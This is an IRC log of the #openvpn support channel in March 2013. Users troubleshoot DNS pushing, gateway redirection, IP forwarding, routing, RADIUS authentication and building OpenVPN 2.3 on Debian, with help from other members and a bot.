11:43 -!- dekroning [~dekroning@vps3.cttinnovations.net] has quit [Ping timeout: 260 seconds]
11:44 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
11:44 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:46 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
11:48 -!- mezgani [~mezgani@adsl196-54-17-217-196.adsl196-9.iam.net.ma] has joined #openvpn
11:49 -!- hrenovo [hrenovo@2600:3c03::f03c:91ff:fe70:d8f6] has joined #openvpn
11:50 < hrenovo> !dns
11:50 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
11:50 < hrenovo> !pushdns
11:50 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
11:50 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
11:51 -!- p3rror [~mezgani@41.249.155.51] has quit [Ping timeout: 276 seconds]
11:53 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:53 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
11:56 -!- Ancient [~ancient@108.59.1.200] has quit [Ping timeout: 245 seconds]
11:57 < hrenovo> hi guys
11:57 < hrenovo> so trying to push all trafic to the client vpn tunnel
11:57 < hrenovo> I am following the redirect_diagram.png
11:58 < hrenovo> I am at a point where I can ping 8.8.8.8
11:58 < hrenovo> but not google.com
11:58 < hrenovo> I just added push "dhcp-option DNS 10.8.0.1" in server.conf
11:58 < hrenovo> but no luck so far
11:59 -!- Ancient [~ancient@us.whatbox.ca] has joined #openvpn
12:00 < hrenovo> any services besides openvpn server that I forgot to restart ?
12:00 -!- con3x_ [~pkinnaird@kobol.geeksoc.org] has quit [Quit: leaving]
12:02 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:04 -!- Valcorb|| [~Valcorb@64.20.55.138] has joined #openvpn
12:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
12:06 -!- AsadH is now known as zz_AsadH
12:12 < hrenovo> nvm got it
12:12 < hrenovo> its all working fine now
12:13 < bkrieg1337> hello
12:13 < bkrieg1337> :)
12:13 < hrenovo> )
12:13 < hrenovo> http://www.speedtest.net/result/2576159745.png
12:13 < hrenovo> with openvpn
12:14 < bkrieg1337> nice
12:15 -!- hatschi [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has quit [Read error: Operation timed out]
12:17 -!- hatschi [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has joined #openvpn
12:17 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:20 -!- Valcorb|| [~Valcorb@64.20.55.138] has quit [Ping timeout: 245 seconds]
12:27 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:28 -!- hatschi [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has quit [Ping timeout: 252 seconds]
12:28 -!- hatschi_ [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has joined #openvpn
12:30 < hrenovo> !def1
12:30 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
12:32 < hrenovo> !redirect
12:32 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:32 <@vpnHelper> http://ircpimps.org/redirect.png
12:32 < hrenovo> !linforward
12:32 < hrenovo> !linforward
12:32 < hrenovo> !ipforward
12:32 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
12:33 < hrenovo> !linipforward
12:33 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
12:36 -!- p3rror [~mezgani@41.249.89.34] has joined #openvpn
12:37 -!- mezgani [~mezgani@adsl196-54-17-217-196.adsl196-9.iam.net.ma] has quit [Ping timeout: 245 seconds]
12:49 -!- dekroning [~dekroning@vps3.cttinnovations.net] has joined #openvpn
12:53 -!- dekroning [~dekroning@vps3.cttinnovations.net] has quit [Ping timeout: 248 seconds]
13:32 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
13:35 -!- mezgani [~mezgani@41.249.139.176] has joined #openvpn
13:38 -!- p3rror [~mezgani@41.249.89.34] has quit [Ping timeout: 276 seconds]
13:40 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:53 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
13:53 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:55 -!- dekroning [~dekroning@vps3.cttinnovations.net] has joined #openvpn
13:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:01 -!- mezgani [~mezgani@41.249.139.176] has quit [Read error: Operation timed out]
14:02 -!- p3rror [~mezgani@41.249.31.8] has joined #openvpn
14:08 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
14:09 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:43 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:46 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
14:49 -!- hrenovo [hrenovo@2600:3c03::f03c:91ff:fe70:d8f6] has quit [Quit: I quit]
15:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:09 -!- hatschi_ [~marvin@dslb-188-098-215-065.pools.arcor-ip.net] has quit [Quit: hatschi_]
15:12 < jzaw> at the mo i'm having to manually add a route for the client network
15:13 < jzaw> can i get that to automate at the server using the cdd files?
15:13 -!- brute11k [~brute@89.249.230.137] has quit [Quit: Leaving.]
15:13 < kisom> jzaw: No. Use a client connect script.
15:14 < jzaw> does the file in the ccd dir take the same name as the cn on the cert/key o the client
15:14 < kisom> Also:
15:14 < kisom> !goal
15:14 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:15 < jzaw> kisom ... ive a routed home lan ..... the client end is nat ... but the lan ips are pub ips
15:15 < jzaw> they are routed to the homelan gw and must go down the vpn to reach the actual hosts
15:15 < jzaw> im using 10.x.x.x as the tun ips
15:15 < jzaw> ive routes set up but every time the server is restarted
15:16 < jzaw> i have to manually add the route to the client ips
15:16 <@ecrist> are you dropping privs?  or are you not running as admin?
15:16 < jzaw> not dropping privs at this time
15:16 <@ecrist> !logs
15:16 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:17 < jzaw> pasting
15:17 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
15:21 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
15:21 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
15:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
15:54 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
15:56 < Visitorerer> My friend and I are connected through Tunnelblick, but we can't ping eachother. Config/logs here : http://pastebin.com/7rvRbivz
15:57 < Visitorerer> We can see each other's iTune library though
15:57 < Visitorerer> iTunes*
15:57 -!- p3rror [~mezgani@41.249.31.8] has quit [Ping timeout: 245 seconds]
15:57 -!- p3rror [~mezgani@41.248.120.12] has joined #openvpn
16:00 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:11 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has joined #openvpn
16:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 258 seconds]
16:31 -!- p3rror [~mezgani@41.248.120.12] has quit [Ping timeout: 246 seconds]
16:32 -!- dazo_afk is now known as dazo
16:44 < Nemus> !config
16:44 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
16:45 -!- p3rror [~mezgani@41.249.93.19] has joined #openvpn
16:46 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 256 seconds]
16:52 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:54 -!- mezgani [~mezgani@41.248.208.152] has joined #openvpn
16:56 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
16:56 -!- p3rror [~mezgani@41.249.93.19] has quit [Ping timeout: 245 seconds]
17:01 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has left #openvpn []
17:04 -!- JSharpe [~JSharpe@5.63.146.148] has joined #openvpn
17:17 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
17:17 < hrenovo> greetings. how can i configure openvpn to auto start with windows
17:18 < hrenovo> openvpn gui
17:19 < Valcorb> hrenovo: put a shortcut of openvpn-gui.exe (located in C:/Program Files/OpenVPN/bin) in %Appdata%/Roaming/Microsoft/Windows/Start Menu/Startup
17:20 -!- p3rror [~mezgani@41.249.18.144] has joined #openvpn
17:21 -!- mezgani [~mezgani@41.248.208.152] has quit [Ping timeout: 256 seconds]
17:24 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
17:24 < hrenovo> Valcorb: thanks
17:24 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Read error: Connection reset by peer]
17:24 -!- p3rror [~mezgani@41.249.18.144] has quit [Max SendQ exceeded]
17:24 < Valcorb> np
17:25 -!- p3rror [~mezgani@41.249.18.144] has joined #openvpn
17:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
17:30 < rob0> !pki
17:30 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
17:30 <@vpnHelper> signed specially as a server (see !servercert)
17:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:31 -!- mode/#openvpn [+o raidz] by ChanServ
17:33 -!- mezgani [~mezgani@41.249.94.157] has joined #openvpn
17:35 -!- p3rror [~mezgani@41.249.18.144] has quit [Ping timeout: 245 seconds]
18:00 -!- _pll [~meru@181.64.90.111] has joined #openvpn
18:01 < _pll> Hello, I'm having a routing issue, I would like to specify the device it's used when pushing a route to the client.
18:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:02 < _pll> I would like for the client to have "192.168.1.3 via 192.168.1.2 dev tap0"
18:03 < _pll> but when I use the push "route 192.168.1.3 255.255.255.255" the result is 192.168.1.3 via 192.168.1.2 dev eth0
18:03 < _pll> Is there a way to do that or do I have to give each client a .bat file?
18:04 < _pll> I'm using bridged tap.
18:21 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Max SendQ exceeded]
18:21 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
18:23 -!- mezgani [~mezgani@41.249.94.157] has quit [Quit: Leaving]
18:24 -!- _pll [~meru@181.64.90.111] has quit [Quit: Konversation terminated!]
18:24 -!- marksaitis [~marksaiti@02d9d2c7.bb.sky.com] has joined #openvpn
18:35 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
18:44 -!- Nemus [~Nemus@unaffiliated/nemus] has left #openvpn []
18:45 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 246 seconds]
18:48 -!- dazo is now known as dazo_afk
18:52 -!- JSharpe [~JSharpe@5.63.146.148] has quit [Quit: Leaving]
19:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:07 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
19:13 -!- raidz is now known as raidz_away
19:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:21 -!- dzubey [~dzubey@68.14.254.195] has quit [Quit: Leaving.]
19:24 -!- p3rror [~mezgani@41.250.232.91] has joined #openvpn
19:26 -!- dkorzhevin [~dkorzhevi@tiger.mirohost.net] has joined #openvpn
19:28 < dkorzhevin> Guys, can you please advice what can i use to connect OpenVPN to FreeRADIUS?
19:28 < dkorzhevin> Should i use openvpn-auth-pam or radiusplugin?
19:29 < dkorzhevin> I have remote freeradius server, which already used as auth server for ipsec,l2tp,pptp.. and now i want use it with openvpn
19:30 < dkorzhevin> I try to use howto on page: http://www.vpsdash.com/?p=163 but something doesn't work
19:30 <@vpnHelper> Title: Easy Setup of Openvpn on Debian to use Radius authentication. « vpsdash (at www.vpsdash.com)
19:30 < dkorzhevin> I write forum post with full logs at official forum https://forums.openvpn.net/post28526.html#p28526
19:30 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN with freeradius authentication : Configuration (at forums.openvpn.net)
19:31 < dkorzhevin> Maby, openvpn-auth-pam is better solution?
19:31 < dkorzhevin> Please advice
20:07 -!- mezgani [~mezgani@41.140.32.181] has joined #openvpn
20:10 -!- p3rror [~mezgani@41.250.232.91] has quit [Ping timeout: 255 seconds]
20:14 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-gfejrjxrugpiqdyx] has quit [Ping timeout: 240 seconds]
20:16 -!- p3rror [~mezgani@41.249.22.161] has joined #openvpn
20:17 -!- mezgani [~mezgani@41.140.32.181] has quit [Ping timeout: 245 seconds]
20:20 -!- mezgani [~mezgani@41.140.159.147] has joined #openvpn
20:22 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-lmbdyojognqqrrqo] has joined #openvpn
20:22 -!- p3rror [~mezgani@41.249.22.161] has quit [Ping timeout: 252 seconds]
20:30 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
20:30 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
20:33 -!- mezgani [~mezgani@41.140.159.147] has quit [Ping timeout: 245 seconds]
20:34 -!- mezgani [~mezgani@41.249.9.73] has joined #openvpn
20:34 -!- mezgani [~mezgani@41.249.9.73] has quit [Read error: Connection reset by peer]
20:36 -!- p3rror [~mezgani@41.249.9.73] has joined #openvpn
20:59 -!- mezgani [~mezgani@41.140.0.118] has joined #openvpn
21:01 -!- p3rror [~mezgani@41.249.9.73] has quit [Ping timeout: 245 seconds]
21:03 -!- mezgani [~mezgani@41.140.0.118] has quit [Ping timeout: 245 seconds]
21:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
21:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
21:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
21:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:52 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
22:08 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
22:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:38 -!- marksaitis [~marksaiti@02d9d2c7.bb.sky.com] has quit [Read error: Connection reset by peer]
22:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
22:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:57 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
23:14 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has quit [Quit: Leaving]
23:16 -!- cap_sensitive [~cap_sensi@unaffiliated/cap-sensitive/x-1266900] has joined #openvpn
23:16 < cap_sensitive> Hi. Can I redirect all openvpn data to an external proxy?
23:17 < cap_sensitive> in the server side
23:41 <@ecrist> what do you mean
23:44 < cap_sensitive> ecrist: So once I connect to the VPN, I can access the Internet via the proxy (indirectly)
23:49 < rob0> A VPN, when connected, gives you an IP address (and a route across the VPN using that address.) What you do with it, or don't do with it, is up to you.
23:50 <@ecrist> cap_sensitive: if you control the server, you can do whatever you want with the VPN
23:50 <@ecrist> !goal
23:50 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:58 < cap_sensitive> ecrist: Can you give me a direction (such as reading certain manual?), Can I achieve it via iptables purely (forward all packets to certain external proxy)?
--- Day changed Sat Mar 16 2013
00:00 <@ecrist> you can do that.
00:00 <@ecrist> you can do a redirect, forcing ALL VPN traffic over the VPN
00:00 <@ecrist> that's what I usually do
00:04 < cap_sensitive> ecrist: I have done that. The problem is that the VPN server has its own 'public' IP addr, and I want to forward all packet to another server that also has 'public' domain.
00:04 < cap_sensitive> Currently all traffic are through the VPN directly,
00:05 < cap_sensitive> but now I want all the traffic that through VPN then through the external proxy.
00:12 < cap_sensitive> Maybe I can forward all packets to that proxy, but that proxy requires auth.
00:13 < cap_sensitive> though I should be able to running a local python http proxy to handle the auth at server side, but I like to avoid that, if possible.
00:14 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
00:14 < cap_sensitive> !goal I would like to make all trafic that through the VPN then through another external proxy which required authentication
00:16 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
00:17 <@ecrist> !notovpn
00:17 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
00:17 -!- erry [erry@freenode/staff/erry] has quit [Ping timeout: 608 seconds]
00:19 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
00:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
00:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
00:45 <@plaisthos> kisom: application/x-openvpn-profile
00:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
00:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:52 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:52 -!- Visitorerer [~Visitorer@64.111.86.226] has quit [Ping timeout: 245 seconds]
00:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
00:53 -!- mode/#openvpn [+o plaisthos] by ChanServ
00:54 < soapee01> Frack krzee. I love that crazy bastard. Where in this moment in time is he in this moment in the world?
00:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:14 -!- pcdummy_ is now known as pcdummy
01:15 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
01:15 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
01:24 -!- cap_sensitive [~cap_sensi@unaffiliated/cap-sensitive/x-1266900] has quit [Quit: leaving]
01:25 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:32 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 248 seconds]
01:34 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
01:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
01:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:23 -!- brute11k [~brute@89.249.235.53] has joined #openvpn
02:35 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 245 seconds]
02:49 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
02:54 -!- dkorzhevin [~dkorzhevi@tiger.mirohost.net] has quit [Quit: WeeChat 0.4.0]
02:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
03:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:04 -!- xbanux [~xbanux@triband-mum-59.182.171.64.mtnl.net.in] has joined #openvpn
03:27 < jzaw> whats the best / easiest way to get 2.3.x on debian wheezy
03:27 < jzaw> compile from git?
03:27 < jzaw> or use the tarball gz
03:27 < jzaw> is it recommended?
03:28 < ngharo> my buddy made a package
03:28 < ngharo> http://dc414.org/~uberushaximus/openvpn_2.3.0_i386.deb
03:29 < ngharo> compiling from sauce is just fine too
03:29 < jzaw> my reason for wanting 2.3.x is for its (maybe) superior ipv6 support ?
03:30 < jzaw> will dpkg -i that deb also pull any deps from whezzy repo?
03:30 < ngharo> i've been seeing new ipv6 patches land in git
03:30 < ngharo> i'd pull from git if you want at the latest stuff
03:30 < jzaw> which branch ?
03:31 < jzaw> i think id like to do that
03:32 < ngharo> !git
03:32 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git
03:32 < ngharo> ok by "some" i meant "one" :)
03:34 < jzaw> hehe
03:34 < ngharo> ipv6 works fine though, go for it
03:34 < jzaw> ok so the whole reconf command as per INSTALL for repo compile?
03:35 < jzaw> when i look at the --version on wheezy it shows me the ./configure options used to compile that one
03:35 < jzaw> should i use the same?
03:35 < jzaw> or just bare ./configure?
03:36 < ngharo> i use the iproute2 enable flag per pekster's recommendation
03:36 < ngharo> thats all i set when compiling personally
03:40 < jzaw> http://sprunge.us/AjjT
03:40 < jzaw> thats what is set in the wheezy deb
03:41 < jzaw> ./configure --enable-iproute2
03:41 < jzaw> ngharo, ^^  ?
03:41 < jzaw> nowt else?
03:41 < jzaw> k trying now
03:42 < ngharo> ya debian packaging tools does some crazy business
03:42 < ngharo> hence that configure string
04:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
04:13 < jzaw> ngharo, heres a question re ipv6
04:13 < jzaw> non tunneled i can reach my home lan via ipv4 or ipv6
04:13 < jzaw> i can ssh in via either / both
04:14 < jzaw> and when i admin the network it has been known form me to kill my ipv4 cos of some silly typo in network/interfaces
04:14 < jzaw> but since i can get in via ipv6 ... just fix ipv4 and its up and running again
04:15 < jzaw> can one have two ovpn tunnels on on ipv4 and one on ipv6 ?
04:15 < jzaw> so ill always have a secure tun if i break one
04:22 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has joined #openvpn
04:25 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has left #openvpn []
04:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:42 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:44 -!- newbie|4 [~tjz@bb219-74-189-54.singnet.com.sg] has joined #openvpn
04:46 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
04:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
05:07 -!- erry_ is now known as erry
05:51 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
06:12 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 256 seconds]
06:20 -!- JSharpe [~JSharpe@web.sinexdigitalrecovery.com] has joined #openvpn
06:20 -!- master_o1_master [~master_of@p4FF24889.dip.t-dialin.net] has joined #openvpn
06:24 -!- master_of_master [~master_of@p4FF24CC9.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
06:25 -!- catsup [~d@64.111.123.163] has joined #openvpn
06:31 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
06:31 -!- catsup [~d@64.111.123.163] has joined #openvpn
06:42 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
06:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
06:56 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has joined #openvpn
07:10 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds]
07:18 < Dennis84> hi
07:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
07:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
07:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:54 -!- dekroning [~dekroning@vps3.cttinnovations.net] has quit [Ping timeout: 276 seconds]
07:59 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
08:00 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
08:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:22 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:51 -!- meskarune [~meskarune@maharani.meskarune.com] has joined #openvpn
